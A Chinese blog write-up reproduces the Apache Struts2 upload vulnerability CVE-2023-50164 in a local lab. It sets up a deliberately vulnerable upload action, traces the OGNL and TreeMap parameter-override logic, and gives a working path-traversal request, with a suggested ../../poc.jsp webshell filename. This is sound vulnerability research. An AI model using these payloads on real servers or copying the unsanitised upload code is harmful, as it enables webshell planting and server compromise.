前言
AI真好用吧。
本来我在用AI搜索CVE-2024-53677,结果反馈出来说这是个历史漏洞的绕过,那就干脆一起复现了。
CVE-2023-50164(S2-066)
AI分析
提出问题1:
结合struts2的源代码分析CVE-2023-50164文件上传漏洞的原理
AI回答:
CVE-2023-50164文件上传漏洞的原理与Struts2框架处理文件上传参数时的大小写敏感特性及参数覆盖机制密切相关。以下是结合源码的详细分析:
1. 漏洞触发核心机制
Struts2在处理文件上传请求时,会通过FileUploadInterceptor拦截请求并解析参数。关键步骤如下:
参数解析:拦截器从请求中提取upload(文件对象)、uploadContentType(文件类型)、uploadfilename(文件名)等参数
。
大小写敏感的参数覆盖:Struts2将参数存储在HttpParameters对象中,该对象本质是HashMap。由于Java Bean属性命名规则(如setUploadFileName对应uploadFileName),当请求中同时存在upload(大写U)和uploadfilename(小写u)时,HttpParameters会分别以"upload"和"uploadfilename"为键存储这两个参数
。
参数绑定:在Action的setter方法调用过程中,Struts2通过反射机制将参数值绑定到属性上。由于HttpParameters的键是大小写敏感的,"uploadfilename"(小写u)会覆盖"UploadFileName"(大写U),导致攻击者构造的恶意文件名(如../../poc.txt)被最终写入文件系统
。
2. 漏洞利用条件
文件名过滤绕过:Struts2在获取文件名时,通过getCanonicalName()方法过滤了/和\等路径分隔符,但若攻击者通过参数覆盖直接修改uploadfilename的值,可绕过此限制
。
环境配置要求:目标服务器需允许上传危险文件后缀(如.jsp),且上传目录具有可写权限,否则即使路径穿越成功也无法执行恶意代码
还给出了漏洞利用方式:
POST /upload.action
Content-Type: multipart/form-data
...
Content-Disposition: form-data; name="upload"; filename="1.txt"
...
Content-Disposition: form-data; name="uploadfilename"; filename="../../poc.jsp"
看起来关键点在于HashMap的大小写敏感,和其导致的首字母大小写变体覆盖原有参数,使得原有的文件保存路径被修改,进而造成了目录穿越写入webshell。
大致上漏洞原理是清晰了,但是问到细节AI还是不太行,还是得自己动手搭建环境和调试漏洞。
环境搭建
首先用IDEA新建一个webapp项目,然后再问问AI怎么搭建这个漏洞的测试环境。
首先要在maven中添加struts2依赖:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>
然后编写上传功能,在src/main目录下面新建一个Java源代码目录java,再在里面新建一个java文件UploadAction.java:
package com.example;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.File;
public class UploadAction extends ActionSupport {
private File upload;
private String uploadFileName;
// Getter & Setter方法
public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/upload");
String realPath = path + File.separator + uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) { e.printStackTrace(); }
return SUCCESS;
}
}
遇到问题,这在行代码中:
String path = ServletActionContext.getServletContext().getRealPath("/upload");
IDEA显示找不到ServletContext类/接口的声明,因此找不到getRealPath方法。
查询资料,找到解决办法,看起来是需要将Tomcat依赖servlet-api.jar和jsp-api.jar导入项目中,问题解决。
然后修改web.xml配置filter:
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
并在web-inf/classes目录下新建struts.xml:
<action name="upload" class="com.example.UploadAction" method="doUpload">
<result name="success">/success.jsp</result>
</action>
再编写success.jsp和index.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
</head>
<body>
<h2>上传文件</h2>
<s:form action="upload.action" method="post" enctype="multipart/form-data">
<s:file name="file" label="选择文件" />
<s:submit value="上传" />
</s:form>
</body>
</html>
遇到问题,/struts-tags标签库无法导入,尝试在web.xml中添加标签库:
<taglib>
<taglib-uri>/struts-tags</taglib-uri>
<taglib-location>/WEB-INF/lib/*.jar</taglib-location>
</taglib>
还是报错,先不管,打包成war到tomcat下面进行测试,继续报错:
无法访问javax.servlet.ServletContext
但是我已经在项目结构-库中进行了导入,搜索尝试解决,找到方案,继续打包,还是错误。
问一下AI,AI告诉我可以在pom.xml中添加依赖:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>3.1.0</version> <!-- 根据容器版本选择(如Tomcat 9+需3.1+) -->
<scope>provided</scope>
</dependency>
报告说仓库里找不到依赖,去仓库搜索一下修改一下依赖名称:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version> <!-- 根据容器版本选择(如Tomcat 9+需3.1+) -->
<scope>provided</scope>
</dependency>
provided代表它只影响到编译、测试阶段。
在编译测试阶段,我们需要这个artifact对应的jar包在classpath中,而在运行阶段,假定目标的容器(比如我们这里的liferay容器)已经提供了这个jar包,所以无需我们这个artifact对应的jar包了。
然后执行maven的package命令,这次打包成功了,再配置一下tomcat服务器并允许,遇到错误:
Unable to load configuration. - file:/D:/Code/struts2-upload/target/struts2-upload/WEB-INF/classes/struts.xml:1:8
应该是struts.xml格式不对,现在写的太简略了,再问问AI模板然后修改一下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<!-- Action 配置 -->
<package name="default" extends="struts-default">
<action name="upload" class="com.example.UploadAction" method="doUpload">
<result name="success">/success.jsp</result>
</action>
</package>
</struts>
问题:
ERROR ClosingUIBean Could not open template
看起来是标签库还是没有正确导入,问问AI可以修改下JSP文件:
<%@ taglib prefix="s" uri="http://struts.apache.org/tags-struts2" %>
但是这个URL资源现在貌似不可使用了,再自己搜索一下修修改改,将struts-core jar包里的struts-tags.tld复制到webapp/META-INF目录下,再修改一下web.xml:
<taglib>
<taglib-uri>/struts-tags</taglib-uri>
<taglib-location>/META-INF/struts-tags.tld</taglib-location>
</taglib>
问题仍然存在,这下只能自己调试找找原因了,先确定一下标签库导入成功:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
</head>
<body>
<h2>上传文件</h2>
<s:text name="text" />
</body>
</html>
s:text标签没有报错,说明标签导入成功。调试最后发现,即使删除tld文件,又删掉web.xml里面的taglib-location,标签库依然能导入成功。
调试发现报错在getNamespace函数,猜测可能与命名空间相关?在struts-tags标签库里能看到s:form标签存在namespace这个属性,尝试:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
</head>
<body>
<s:form action="upload" namespace="" method="post" enctype="multipart/form-data">
<s:file name="upload" label="选择文件" />
<s:submit value="上传" />
</s:form>
</body>
</html>
同时也修改一下UploadAction,加上setUpload等函数:
package com.example;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.File;
public class UploadAction extends ActionSupport {
private String contentType;
private File upload;
private String uploadFileName;
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String fileName) {
this.uploadFileName = fileName;
}
public String getUploadContentType() {
return contentType;
}
public void setUploadContentType(String contentType) {
this.contentType = contentType;
}
// Getter & Setter方法
public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/upload");
String realPath = path + File.separator + uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) { e.printStackTrace(); }
return SUCCESS;
}
}
测试后文件上传成功给,现在可以正常使用了,最后总结,AI答案不是特别靠谱。
漏洞分析
简单尝试
在这个简单的文件上传功能中,上传文件夹不可控,文件名由uploadFileName决定,uploadFileName和upload文件对象都是通过setter填入UploadAction中的。
试用一下yakit,由于开启的本地测试环境,本地回环地址127.0.0.1无法直接抓取,需要先修改C:\Windows\System32\drivers\etc\hosts文件,添加自定义域名:
127.0.0.1 www.test.local
这样就可以抓到包了:
POST /struts2_upload_war_exploded/upload.action;jsessionid=E88CE6974708C3CF0F165E2AC2C36CC1 HTTP/1.1
Host: www.test.local:8080
Cache-Control: max-age=0
Referer: http://www.test.local:8080/struts2_upload_war_exploded/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QfPbi7wUsDuglB1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Origin: http://www.test.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=E88CE6974708C3CF0F165E2AC2C36CC1
Content-Length: 194
------WebKitFormBoundary1QfPbi7wUsDuglB1
Content-Disposition: form-data; name="upload"; filename="test.TXT"
Content-Type: text/plain
flag{test}
------WebKitFormBoundary1QfPbi7wUsDuglB1--
首先尝试直接修改uploadFileName进行目录穿越:
POST /struts2_upload_war_exploded/upload.action;jsessionid=E88CE6974708C3CF0F165E2AC2C36CC1 HTTP/1.1
Host: www.test.local:8080
Cache-Control: max-age=0
Referer: http://www.test.local:8080/struts2_upload_war_exploded/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QfPbi7wUsDuglB1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Origin: http://www.test.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=E88CE6974708C3CF0F165E2AC2C36CC1
Content-Length: 194
------WebKitFormBoundary1QfPbi7wUsDuglB1
Content-Disposition: form-data; name="upload"; filename="../test.TXT"
Content-Type: text/plain
flag{test}
------WebKitFormBoundary1QfPbi7wUsDuglB1--
发现最后set进来的uploadFileName还是test.TXT,说明目录穿越字符被过滤掉了。
setter从哪来
简单调试观察一下,给文件名uploadFileName的setter下个断点,调试可以看到setter由ognl负责寻找和调用,根据调用栈找到OgnlRuntime类的getDeclaredMethods函数:
String baseName = capitalizeBeanPropertyName(propertyName);
List var10 = new ArrayList();
collectAccessors(targetClass, baseName, var10, findSets);
搜索setter的流程主要分为两部分,第一部分是通过capitalizeBeanPropertyName函数获得待set进去的属性名称:
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}
主要关注这一块代码,如果不是第一个字符小写,第二个字符大写的模式,就会将第一个字符变成大写作为属性名称,因此,将upload和Upload传入capitalizeBeanPropertyName函数的结果是一样的。
再通过collectAccessors函数获得setter:
Method[] methods;
try {
methods = c.getDeclaredMethods();
} catch (SecurityException var10) {
methods = c.getMethods();
}
for(int i = 0; i < methods.length; ++i) {
if (c.isInterface()) {
if (isDefaultMethod(methods[i]) || isNonDefaultPublicInterfaceMethod(methods[i])) {
addIfAccessor(result, methods[i], baseName, findSets);
}
} else if (isMethodCallable(methods[i])) {
addIfAccessor(result, methods[i], baseName, findSets);
}
}
获取所有函数,再通过addIfAccessor函数进行函数和属性名称的校验,后续还有从superclass和interface搜索的,这里暂且不提:
String ms = method.getName();
if (ms.endsWith(baseName)) {
boolean isSet = false;
boolean isIs = false;
if ((isSet = ms.startsWith("set")) || ms.startsWith("get") || (isIs = ms.startsWith("is"))) {
int prefixLength = isIs ? 2 : 3;
if (isSet == findSets && baseName.length() == ms.length() - prefixLength) {
result.add(method);
}
}
}
到这里就是简单的字符串匹配了,以capitalizeBeanPropertyName函数修改后的属性名称(Upload)结尾的setter、getter和is函数就会被添加到result这个List中。
总结起来就是,upload和Upload都会调用到setUpload函数:
POST /struts2_upload_war_exploded/upload.action?upload=twings.jar HTTP/1.1
Host: www.test.local:8080
Cache-Control: max-age=0
Referer: http://www.test.local:8080/struts2_upload_war_exploded/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QfPbi7wUsDuglB1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Origin: http://www.test.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=E88CE6974708C3CF0F165E2AC2C36CC1
Content-Length: 194
------WebKitFormBoundary1QfPbi7wUsDuglB1
Content-Disposition: form-data; name="Upload"; filename="../test.TXT"
Content-Type: text/plain
flag{test}
------WebKitFormBoundary1QfPbi7wUsDuglB1--
不过第二次类型不对set进去是个null,目前来看调用顺序是先大写后小写。
setter的调用顺序
继续翻调用栈,找到ParametersInterceptor类的doIntercept函数:
Object action = invocation.getAction();
if (!(action instanceof NoParameters)) {
ActionContext ac = invocation.getInvocationContext();
HttpParameters parameters = retrieveParameters(ac);
if (LOG.isDebugEnabled()) {
LOG.debug("Setting params {}", getParameterLogMap(parameters));
}
if (parameters != null) {
Map<String, Object> contextMap = ac.getContextMap();
try {
ReflectionContextState.setCreatingNullObjects(contextMap, true);
ReflectionContextState.setDenyMethodExecution(contextMap, true);
ReflectionContextState.setReportingConversionErrors(contextMap, true);
ValueStack stack = ac.getValueStack();
setParameters(action, stack, parameters);
} finally {
ReflectionContextState.setCreatingNullObjects(contextMap, false);
ReflectionContextState.setDenyMethodExecution(contextMap, false);
ReflectionContextState.setReportingConversionErrors(contextMap, false);
}
}
}
return invocation.invoke();
HTTP传递的待绑定属性都存放在一个HttpParameters对象中,再通过setParameters函数遍历:
HttpParameters params;
Map<String, Parameter> acceptableParameters;
if (ordered) {
params = HttpParameters.create().withComparator(getOrderedComparator()).withParent(parameters).build();
acceptableParameters = new TreeMap<>(getOrderedComparator());
} else {
params = HttpParameters.create().withParent(parameters).build();
acceptableParameters = new TreeMap<>();
}
for (Map.Entry<String, Parameter> entry : params.entrySet()) {
String parameterName = entry.getKey();
boolean isAcceptableParameter = isAcceptableParameter(parameterName, action);
isAcceptableParameter &= isAcceptableParameterValue(entry.getValue(), action);
if (isAcceptableParameter) {
acceptableParameters.put(parameterName, entry.getValue());
}
}
调试得知HttpParameters使用的是HashMap,而遍历之后存放属性的acceptableParameters使用的是TreeMap,最后也是遍历acceptableParameters进行set:
for (Map.Entry<String, Parameter> entry : acceptableParameters.entrySet()) {
String name = entry.getKey();
Parameter value = entry.getValue();
try {
newStack.setParameter(name, value.getObject());
} catch (RuntimeException e) {
if (devMode) {
notifyDeveloperParameterException(action, name, e.getMessage());
}
}
}
而TreeMap在生成时由于没有设置Comparator,因此会使用默认顺序,即按键的自然顺序(升序)排列,所以小写upload会覆盖掉大写Upload的值,uploadFileName会覆盖掉UploadFileName的值。
uploadFileName从哪来
为什么直接在POST体filename修改的../会被删掉,根据调试找到FileUploadInterceptor类的intercept函数,其中文件名的获得方法为:
String[] fileName = multiWrapper.getFileNames(inputName);
getFileNames函数来自JakartaMultiPartRequest类:
public String[] getFileNames(String fieldName) {
List<FileItem> items = files.get(fieldName);
if (items == null) {
return null;
}
List<String> fileNames = new ArrayList<>(items.size());
for (FileItem fileItem : items) {
fileNames.add(getCanonicalName(fileItem.getName()));
}
return fileNames.toArray(new String[fileNames.size()]);
}
getCanonicalName函数对目录穿越字符进行了一次清洗:
protected String getCanonicalName(final String originalFileName) {
String fileName = originalFileName;
int forwardSlash = fileName.lastIndexOf('/');
int backwardSlash = fileName.lastIndexOf('\\');
if (forwardSlash != -1 && forwardSlash > backwardSlash) {
fileName = fileName.substring(forwardSlash + 1);
} else {
fileName = fileName.substring(backwardSlash + 1);
}
return fileName;
}
最后一起塞进了HttpParameters里等待后续set:
String contentTypeName = inputName + "ContentType";
String fileNameName = inputName + "FileName"; // UploadFileName
...
if (!acceptedFiles.isEmpty()) {
Map<String, Parameter> newParams = new HashMap<>();
newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
ac.getParameters().appendAll(newParams);
}
由于输入的name为Upload,所以最后用于存储文件名的键为UploadFileName,因此可以使用小写uploadFileName进行覆盖。
至此,整个漏洞流程已经差不多清晰了。
目录穿越
payload:
POST /struts2_upload_war_exploded/upload.action?uploadFileName=../twings.jar HTTP/1.1
Host: www.test.local:8080
Cache-Control: max-age=0
Referer: http://www.test.local:8080/struts2_upload_war_exploded/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QfPbi7wUsDuglB1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Origin: http://www.test.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=E88CE6974708C3CF0F165E2AC2C36CC1
Content-Length: 194
------WebKitFormBoundary1QfPbi7wUsDuglB1
Content-Disposition: form-data; name="Upload"; filename="../test.TXT"
Content-Type: text/plain
flag{test}
------WebKitFormBoundary1QfPbi7wUsDuglB1--
总结
可以当作辅助工具使用,但是漏洞复现的时候,感觉还是要细读复现成功的师傅们的文章,并且自己动手尝试。